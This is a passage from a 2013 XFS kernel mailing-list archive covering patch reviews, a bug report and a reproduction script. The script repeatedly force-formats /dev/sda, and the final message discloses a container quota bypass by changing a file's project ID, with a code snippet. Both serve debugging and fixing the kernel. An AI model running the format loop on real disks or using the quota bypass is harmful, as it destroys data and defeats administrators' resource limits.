with HTTP; Tue, 30 Jul 2013 18:32:22 -0700 (PDT) In-Reply-To: <51F7BF25.6010103@oracle.com> References: <1374759524-10061-1-git-send-email-zwu.kernel@gmail.com> <20130726020318.GD21982@dastard> <20130726113717.GN13468@dastard> <51F7BF25.6010103@oracle.com> Date: Wed, 31 Jul 2013 09:32:22 +0800 Message-ID: Subject: Re: [PATCH] xfs: fix an assertion failure From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH] xfs: fix an assertion failure To: xfstests Cc: Dave Chinner , Zhi Yong Wu Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qe0-f41.google.com[209.85.128.41] X-Barracuda-Start-Time: 1375234342 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074b, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.20 BSF_SC0_SA074b Custom Rule SA074b On Tue, Jul 30, 2013 at 9:27 PM, Jeff Liu wrote: > On 07/30/2013 07:06 PM, Zhi Yong Wu wrote: > >> On Mon, Jul 29, 2013 at 4:33 PM, Zhi Yong Wu wrote: >>> On Fri, Jul 26, 2013 at 7:37 PM, Dave Chinner wrote: >>>> On Fri, Jul 26, 2013 at 02:01:23PM +0800, Zhi Yong Wu wrote: >>>>> No, it still raised the same assertion as below: >>>>> >>>>> [ 521.715103] XFS: Assertion failed: !(bip->bli_item.li_flags & >>>>> XFS_LI_IN_AIL), file: fs/xfs/xfs_buf_item.c, line: 940 >>>> >>>> How are you reproducing it? >>>> >>>> Can you take an event trace with trace-cmd and attach the output of >>>> the report? >>> After kernel base is switched to Linux 3.11-rc3, when i try to take >>> event trace with trace-cmd, that issue doesn't appear any more in my >>> environment. :) >> When your patch is not applied, i hit this issue sometime today, and >> take some event trace with trace-cmd, and attach it in this mail. But >> after your patch is applied, i tried some times, but haven't hit so >> far, so i want to see if i can hit it in next days. > > > I have ran compilebench multiple times combine with different options against > xfs-next in the past few days, but I can not reproduce this issue. I ran it against Linus' tree, and hit this assertion sometimes, not every time regardless that Dave's patch is applied. > > Could you please show us your test case as Dave has asked? Sometimes, the test > steps is more useful for someone who has interest in your post. I just modified the test steps post by Dave. root@debian-i386:/home/zwu# cat recovery_time_compilebench.sh #!/bin/bash i=1 while(($i > 0)) do mkfs.xfs -f /dev/sda; mount /dev/sda /mnt/scratch chmod 777 /mnt/scratch; cd ~ trace-cmd record -e xfs/* & cd /home/zwu/compilebench-0.6/ ./compilebench --no-sync -D /mnt/scratch & sleep 55 /home/zwu/xfstests/src/godown /mnt/scratch umount /mnt/scratch xfs_logprint -t /dev/sda |head -20 time mount /dev/sda /mnt/scratch umount /mnt/scratch sleep 5 pkill trace-cmd rm -rf ~/trace.dat* sleep 5 done > > Thanks, > -Jeff -- Regards, Zhi Yong Wu From zwu.kernel@gmail.com Tue Jul 30 23:07:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F30297CBF for ; Tue, 30 Jul 2013 23:07:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B58418F8039 for ; Tue, 30 Jul 2013 21:07:34 -0700 (PDT) X-ASG-Debug-ID: 1375243652-04bdf02f23277ce0001-NocioJ Received: from mail-qa0-f44.google.com (mail-qa0-f44.google.com [209.85.216.44]) by cuda.sgi.com with ESMTP id SA7KHIUl5kbdFOLC (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 30 Jul 2013 21:07:33 -0700 (PDT) X-Barracuda-Envelope-From: zwu.kernel@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.44 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.44] Received: by mail-qa0-f44.google.com with SMTP id hu16so2783956qab.3 for ; Tue, 30 Jul 2013 21:07:32 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.44] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.44] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=h1Y0emqmMYq94OcuTSz1Uq8YSwleWfjzu42DXTzPKbg=; b=aek3RT+AXICRoZct7Kb4u4Fq/i4LVlbriAcS/eCfOL12r4P32SqZVQhIYRPePdaqO8 Pf8B6C9qurgWuPm4o8XTbcU5lojYJOqljQLN3RZzX+5wJHUDWLCrozxgbzLznS1Nx/zR vNRP6h+P7oE3zcGuGR+HNN5kEx7f/Vu7Hhv+XqMtS1a5JulIDi1bM86URY0CZO/8IfEC 1aSrPC9VLL/cA6zo9s4lS5bxNTNJBUCtCkvW/hCWE6rEEQ7s7c7xkOs+L/Aec4tY0+FM /Z37MDrwn4jfLt7ALohAJbPWfxPfC0l/JdO53Zk2C6GJQRvJ96ltohaGGv0uooDGFhzI J1fQ== MIME-Version: 1.0 X-Received: by 10.224.41.83 with SMTP id n19mr83245356qae.16.1375243652282; Tue, 30 Jul 2013 21:07:32 -0700 (PDT) Received: by 10.49.48.226 with HTTP; Tue, 30 Jul 2013 21:07:32 -0700 (PDT) In-Reply-To: <20130730231155.GM13468@dastard> References: <1375178347-29037-1-git-send-email-zwu.kernel@gmail.com> <20130730231155.GM13468@dastard> Date: Wed, 31 Jul 2013 12:07:32 +0800 Message-ID: Subject: Re: [PATCH v2] xfs: introduce object readahead to log recovery From: Zhi Yong Wu X-ASG-Orig-Subj: Re: [PATCH v2] xfs: introduce object readahead to log recovery To: Dave Chinner Cc: xfstests , "linux-fsdevel@vger.kernel.org" , linux-kernel mlist , Zhi Yong Wu Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f44.google.com[209.85.216.44] X-Barracuda-Start-Time: 1375243652 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, Jul 31, 2013 at 7:11 AM, Dave Chinner wrote: > On Tue, Jul 30, 2013 at 05:59:07PM +0800, zwu.kernel@gmail.com wrote: >> From: Zhi Yong Wu >> >> It can take a long time to run log recovery operation because it is >> single threaded and is bound by read latency. We can find that it took >> most of the time to wait for the read IO to occur, so if one object >> readahead is introduced to log recovery, it will obviously reduce the >> log recovery time. >> >> Log recovery time stat: >> >> w/o this patch w/ this patch >> >> real: 0m15.023s 0m7.802s >> user: 0m0.001s 0m0.001s >> sys: 0m0.246s 0m0.107s >> >> Signed-off-by: Zhi Yong Wu >> --- >> fs/xfs/xfs_log_recover.c | 162 +++++++++++++++++++++++++++++++++++++++++++++-- >> fs/xfs/xfs_log_recover.h | 2 + >> 2 files changed, 159 insertions(+), 5 deletions(-) >> >> diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c >> index 7681b19..029826f 100644 >> --- a/fs/xfs/xfs_log_recover.c >> +++ b/fs/xfs/xfs_log_recover.c >> @@ -3116,6 +3116,111 @@ xlog_recover_free_trans( >> kmem_free(trans); >> } >> >> +STATIC void >> +xlog_recover_buffer_ra_pass2( >> + struct xlog *log, >> + struct xlog_recover_item *item) >> +{ >> + xfs_buf_log_format_t *buf_f = item->ri_buf[0].i_addr; >> + xfs_mount_t *mp = log->l_mp; > > struct xfs_buf_log_format > struct xfs_mount Why? *_t is also used in a lot of other places. > >> + >> + if (xlog_check_buffer_cancelled(log, buf_f->blf_blkno, >> + buf_f->blf_len, buf_f->blf_flags)) { >> + return; >> + } >> + >> + xfs_buf_readahead(mp->m_ddev_targp, buf_f->blf_blkno, >> + buf_f->blf_len, NULL); >> +} >> + >> +STATIC void >> +xlog_recover_inode_ra_pass2( >> + struct xlog *log, >> + struct xlog_recover_item *item) >> +{ >> + xfs_inode_log_format_t in_buf, *in_f; >> + xfs_mount_t *mp = log->l_mp; > > struct xfs_inode_log_format > struct xfs_mount > > and a separate declaration for each variable. > > Also, in_buf and in_f are not very good names as tehy don't follow > any commonly used XFs naming convention. The shorthand for a > struct xfs_inode_log_format variable is "ilf" and a pointer to such > an object is "ilfp". i.e: > > struct xfs_inode_log_format ilf_buf; > struct xfs_inode_log_format *ilfp; > >> +xlog_recover_dquot_ra_pass2( >> + struct xlog *log, >> + struct xlog_recover_item *item) >> +{ >> + xfs_mount_t *mp = log->l_mp; >> + struct xfs_disk_dquot *recddq; >> + int error; >> + xfs_dq_logformat_t *dq_f; >> + uint type; > > More typedefs. > >> + >> + >> + if (mp->m_qflags == 0) >> + return; >> + >> + recddq = item->ri_buf[1].i_addr; >> + if (recddq == NULL) >> + return; >> + if (item->ri_buf[1].i_len < sizeof(xfs_disk_dquot_t)) >> + return; >> + >> + type = recddq->d_flags & (XFS_DQ_USER | XFS_DQ_PROJ | XFS_DQ_GROUP); >> + ASSERT(type); >> + if (log->l_quotaoffs_flag & type) >> + return; >> + >> + dq_f = item->ri_buf[0].i_addr; >> + ASSERT(dq_f); >> + error = xfs_qm_dqcheck(mp, recddq, dq_f->qlf_id, 0, XFS_QMOPT_DOWARN, >> + "xlog_recover_dquot_ra_pass2 (log copy)"); > > You don't need to do validation of the dquot in the transaction > here - it's unlikely to be corrupt. Just do the readahead like for a > normal buffer, and the validation can occur when recovering the > item in the next pass. Agreed, done. > >> + if (error) >> + return; >> + ASSERT(dq_f->qlf_len == 1); >> + >> + xfs_buf_readahead(mp->m_ddev_targp, dq_f->qlf_blkno, >> + dq_f->qlf_len, NULL); >> +} >> + >> +STATIC void >> +xlog_recover_ra_pass2( >> + struct xlog *log, >> + struct xlog_recover_item *item) >> +{ >> + switch (ITEM_TYPE(item)) { >> + case XFS_LI_BUF: >> + xlog_recover_buffer_ra_pass2(log, item); >> + break; >> + case XFS_LI_INODE: >> + xlog_recover_inode_ra_pass2(log, item); >> + break; >> + case XFS_LI_DQUOT: >> + xlog_recover_dquot_ra_pass2(log, item); >> + break; >> + case XFS_LI_EFI: >> + case XFS_LI_EFD: >> + case XFS_LI_QUOTAOFF: >> + default: >> + break; >> + } >> +} >> + >> STATIC int >> xlog_recover_commit_pass1( >> struct xlog *log, >> @@ -3177,6 +3282,26 @@ xlog_recover_commit_pass2( >> } >> } >> >> +STATIC int >> +xlog_recover_items_pass2( >> + struct xlog *log, >> + struct xlog_recover *trans, >> + struct list_head *buffer_list, >> + struct list_head *ra_list) >> +{ >> + int error = 0; >> + xlog_recover_item_t *item; > > typedef. > >> + >> + list_for_each_entry(item, ra_list, ri_list) { >> + error = xlog_recover_commit_pass2(log, trans, >> + buffer_list, item); >> + if (error) >> + return error; >> + } >> + >> + return error; >> +} >> + >> /* >> * Perform the transaction. >> * >> @@ -3189,9 +3314,11 @@ xlog_recover_commit_trans( >> struct xlog_recover *trans, >> int pass) >> { >> - int error = 0, error2; >> - xlog_recover_item_t *item; >> + int error = 0, error2, ra_qdepth = 0; >> + xlog_recover_item_t *item, *next; > > typedef, one variable per line. > >> LIST_HEAD (buffer_list); >> + LIST_HEAD (ra_list); >> + LIST_HEAD (all_ra_list); > > Isn't the second the "recovered" list? > > i.e. objects are moved to the ra_list when readhead is issued, > then when they are committed they are moved to the "recovered" > list? > >> hlist_del(&trans->r_list); >> >> @@ -3199,14 +3326,21 @@ xlog_recover_commit_trans( >> if (error) >> return error; >> >> - list_for_each_entry(item, &trans->r_itemq, ri_list) { >> + list_for_each_entry_safe(item, next, &trans->r_itemq, ri_list) { >> switch (pass) { >> case XLOG_RECOVER_PASS1: >> error = xlog_recover_commit_pass1(log, trans, item); >> break; >> case XLOG_RECOVER_PASS2: >> - error = xlog_recover_commit_pass2(log, trans, >> - &buffer_list, item); >> + if (ra_qdepth++ >= XLOG_RECOVER_MAX_QDEPTH) { > > I'd define XLOG_RECOVER_MAX_QDEPTH inside this function with all the > local variables. It has not scope outside this function. > > Also, "items_queued" is a better name than ra_qdepth - we are > tracking how many items we've queued for recovery, not the number of > readahead IOs we have in progress. Similar for > XLOG_RECOVER_MAX_QDEPTH - XLOG_RECOVER_COMMIT_QUEUE_MAX might be > better. Applied all above. > > >> + error = xlog_recover_items_pass2(log, trans, >> + &buffer_list, &ra_list); >> + list_splice_tail_init(&ra_list, &all_ra_list); >> + ra_qdepth = 0; >> + } else { >> + xlog_recover_ra_pass2(log, item); >> + list_move_tail(&item->ri_list, &ra_list); >> + } >> break; >> default: >> ASSERT(0); >> @@ -3216,9 +3350,27 @@ xlog_recover_commit_trans( >> goto out; >> } >> >> + if (!list_empty(&ra_list)) { >> + error = xlog_recover_items_pass2(log, trans, >> + &buffer_list, &ra_list); >> + if (error) >> + goto out; >> + >> + list_splice_tail_init(&ra_list, &all_ra_list); >> + } >> + >> + if (!list_empty(&all_ra_list)) >> + list_splice_init(&all_ra_list, &trans->r_itemq); >> + >> xlog_recover_free_trans(trans); >> >> out: >> + if (!list_empty(&ra_list)) >> + list_splice_tail_init(&ra_list, &all_ra_list); >> + >> + if (!list_empty(&all_ra_list)) >> + list_splice_init(&all_ra_list, &trans->r_itemq); > > The error handling here is all wrong. xlog_recover_free_trans() > frees everything on the trans->r_itemq, and then frees trans, so > this is both leaky and a use after free. This is all you need to do For normal path, the above two list_splice_* are not executed at all. > here: > > @@ -3216,6 +3359,13 @@ xlog_recover_commit_trans( > if (error) > goto out; > } > + if (!list_empty(&ra_list)) { > + error = recover_commit(log, trans, &buffer_list, &ra_list); > + list_splice_init(&ra_list, &done_list); > + } > + > + if (!list_empty(&done_list)) > + list_splice(&done_list, &trans->r_itemq); > > xlog_recover_free_trans(trans); > > > i.e. run the recovery of the remainder of the ra_list, splice it > to the done list, the splice the done list back to the trans and > then free the trans. The error path falls through naturally and > without needing any special handling.... For error path, do you not need to splice ra_list and done_list to the trans? I thought that this transaction may be continued to recovery log later. > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Regards, Zhi Yong Wu From gaofeng@cn.fujitsu.com Tue Jul 30 23:14:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ADA047F4E for ; Tue, 30 Jul 2013 23:14:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 47D63AC003 for ; Tue, 30 Jul 2013 21:14:42 -0700 (PDT) X-ASG-Debug-ID: 1375244080-04bdf02f232781e0001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id iB7SyCEm6e0g5yMV for ; Tue, 30 Jul 2013 21:14:40 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,783,1367942400"; d="scan'208";a="8073715" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 31 Jul 2013 12:11:38 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r6V4EcNU031663; Wed, 31 Jul 2013 12:14:38 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013073112122638-278216 ; Wed, 31 Jul 2013 12:12:26 +0800 Message-ID: <51F88F82.4090606@cn.fujitsu.com> Date: Wed, 31 Jul 2013 12:16:02 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com Subject: Re: [PATCH v7 3/7] xfs: ioctl check for capabilities in the current user namespace References: <20130729230650.5db8228a@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 3/7] xfs: ioctl check for capabilities in the current user namespace In-Reply-To: <20130729230650.5db8228a@oracle.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 12:12:26, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 12:12:27, Serialize complete at 2013/07/31 12:12:27 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375244080 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/30/2013 11:06 AM, Dwight Engen wrote: > Use inode_capable() to check if SUID|SGID bits should be cleared to match > similar check in inode_change_ok(). > > The check for CAP_LINUX_IMMUTABLE was not modified since all other file > systems also check against init_user_ns rather than current_user_ns. > > Reviewed-by: Dave Chinner > Signed-off-by: Dwight Engen > --- > fs/xfs/xfs_ioctl.c | 4 ++-- > kernel/capability.c | 1 + > 2 files changed, 3 insertions(+), 2 deletions(-) > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 6e2bca5..8edc780 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -981,7 +981,7 @@ xfs_ioctl_setattr( > * to the file owner ID, except in cases where the > * CAP_FSETID capability is applicable. > */ > - if (current_fsuid() != ip->i_d.di_uid && !capable(CAP_FOWNER)) { > + if (!inode_owner_or_capable(VFS_I(ip))) { Though the user in container can get his quota limit info which is configured on host, but he has no rights to modify it, so this patch looks good to me. Thanks Reviewed-by: Gao feng > code = XFS_ERROR(EPERM); > goto error_return; > } > @@ -1103,7 +1103,7 @@ xfs_ioctl_setattr( > * cleared upon successful return from chown() > */ > if ((ip->i_d.di_mode & (S_ISUID|S_ISGID)) && > - !capable(CAP_FSETID)) > + !inode_capable(VFS_I(ip), CAP_FSETID)) > ip->i_d.di_mode &= ~(S_ISUID|S_ISGID); > > /* > diff --git a/kernel/capability.c b/kernel/capability.c > index f6c2ce5..a4b6744 100644 > --- a/kernel/capability.c > +++ b/kernel/capability.c > @@ -464,3 +464,4 @@ bool inode_capable(const struct inode *inode, int cap) > > return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid); > } > +EXPORT_SYMBOL(inode_capable); > From markus@trippelsdorf.de Wed Jul 31 01:11:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2FBDA29E10 for ; Wed, 31 Jul 2013 01:11:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1ECC330408C for ; Tue, 30 Jul 2013 23:11:32 -0700 (PDT) X-ASG-Debug-ID: 1375251090-04cbb02c3b2786c0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id I4OGyg8vxyL10yyv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 30 Jul 2013 23:11:31 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:subject:message-id:references:mime-version :content-type:content-transfer-encoding:in-reply-to; s=beta; bh= P0HkA/RLJufJEl+v7Ayh+ctDdfv/7tOmsl/AdyvfO9g=; b=vEKqm0aNircNcDOQ E9tM7JSKRiNDNdkiUX+RZDAkwQR1jWTWUbSwO8fgL7bN2iAqdtvv2UjDKhZa/q3Z I25IzFO9iFVq750HxX/1WKVVBuQri7LM07TYpRmnyAF/zmtORN+t+nx6b3uOzfjl 7ch4Eal6E4gMqBcelbVeiPU0nHQ= Received: (qmail 7256 invoked from network); 31 Jul 2013 08:11:29 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 31 Jul 2013 08:11:29 +0200 Date: Wed, 31 Jul 2013 08:11:29 +0200 From: Markus Trippelsdorf To: Dave Jones , Dave Chinner , Linux Kernel , xfs@oss.sgi.com Subject: Re: XFS undeletable files. (3.11rc3) Message-ID: <20130731061129.GA354@x4> X-ASG-Orig-Subj: Re: XFS undeletable files. (3.11rc3) References: <20130712023930.GA6473@redhat.com> <20130725041538.GH13468@dastard> <20130730202628.GA16356@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <20130730202628.GA16356@redhat.com> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1375251091 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.30 at 16:26 -0400, Dave Jones wrote: > On Thu, Jul 25, 2013 at 02:15:38PM +1000, Dave Chinner wrote: > > On Thu, Jul 11, 2013 at 10:39:30PM -0400, Dave Jones wrote: > > > Just saw this during boot after an unclean shutdown. It hung afterwards. > > > > > > [ 97.162665] XFS: Assertion failed: xfs_dir2_sf_lookup(args) == ENOENT, file: fs/xfs/xfs_dir2_sf.c, line: 358 > > > [ 97.164646] ------------[ cut here ]------------ > > > > I just reproduced this by chance. I know exactly what I was doing > > when it went bang, so I might be able to reduce it from scattergun > > blast testing to be able to reproduce it on demand. > > I xfs_repair'd that disk a week or so back, and have been fine until today when.. > > (16:22:57:root@zerosum:tmp.6)# ll > ls: cannot access : No such file or directory > total 0 > ?????????? ? ? ? ? ? ? > (16:22:58:root@zerosum:tmp.6)# cd .. > (16:23:06:root@zerosum:tmp)# rm -rf tmp.6 > rm: cannot remove ‘tmp.6’: Directory not empty > (16:23:14:root@zerosum:tmp)# cd - > /home/davej/src/trinity/tmp/tmp.6 > (16:23:23:root@zerosum:tmp.6)# stat * > stat: cannot stat ‘\020’: No such file or directory > > I don't know if this is residual crap from that first problem that never got fixed up, > or something new. > > Any ideas ? If you have crashed your test machine running an rc1 or rc2 kernel, you must run xfs_repair again to clean up possible corruption (that happened during log replay). The fix (commit e1b4271ac26) is in rc3. -- Markus From gaofeng@cn.fujitsu.com Wed Jul 31 01:29:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 32C3D7F51 for ; Wed, 31 Jul 2013 01:29:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 21EAB8F804C for ; Tue, 30 Jul 2013 23:29:23 -0700 (PDT) X-ASG-Debug-ID: 1375252160-04cbb02c3b279830001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id oCACGo0p1PPcuF7L for ; Tue, 30 Jul 2013 23:29:21 -0700 (PDT) X-Barracuda-Envelope-From: gaofeng@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.89,785,1367942400"; d="scan'208";a="8074816" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 31 Jul 2013 14:26:19 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id r6V6TE35008449; Wed, 31 Jul 2013 14:29:14 +0800 Received: from [10.167.226.30] ([10.167.226.30]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2013073114270224-281378 ; Wed, 31 Jul 2013 14:27:02 +0800 Message-ID: <51F8AF0E.3020409@cn.fujitsu.com> Date: Wed, 31 Jul 2013 14:30:38 +0800 From: Gao feng User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dwight Engen CC: xfs@oss.sgi.com, Dave Chinner , Brian Foster , Serge Hallyn , "Eric W. Biederman" Subject: Re: [PATCH v7 0/7] userns: Convert xfs to use kuid_t/kgid_t where appropriate References: <20130729230633.725a282e@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v7 0/7] userns: Convert xfs to use kuid_t/kgid_t where appropriate In-Reply-To: <20130729230633.725a282e@oracle.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 14:27:02, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2013/07/31 14:27:07, Serialize complete at 2013/07/31 14:27:07 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1375252160 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dwight, On 07/30/2013 11:06 AM, Dwight Engen wrote: > Hi All, > > This updated patchset is on top of ad81f054 of xfs git (3.11-rc1). The > patches do not convert the id's returned from bulkstat, since bulkstat > cannot be called from inside a userns right now anyway since the caller > must be CAP_SYS_ADMIN in init_user_ns. As I method in another mail thread, I found the changing projid of file in container hasn't been disallowed. it means the user in container can change file's projid. so the project quota won't take effect. the project quota info before I change file's projid in container: Project quota on /media/lw (/dev/sdc1) Blocks Project ID Used Soft Hard Warn/Grace ---------- --------------------------------- testproj 64K 100M 110M 00 [------] and after I use a simple program which execs the below code. fa.fsx_projid = 21; // different projid from testproj fa.fsx_xflags &= ~XFS_XFLAG_IMMUTABLE; ret = xfsctl("/mount_point_of_xfs", fd, XFS_IOC_FSSETXATTR, &fa); the project quota becomes to: Project quota on /media/lw (/dev/sdc1) Blocks Project ID Used Soft Hard Warn/Grace ---------- --------------------------------- testproj 60K 100M 110M 00 [------] So I think we still need a patch to reduce 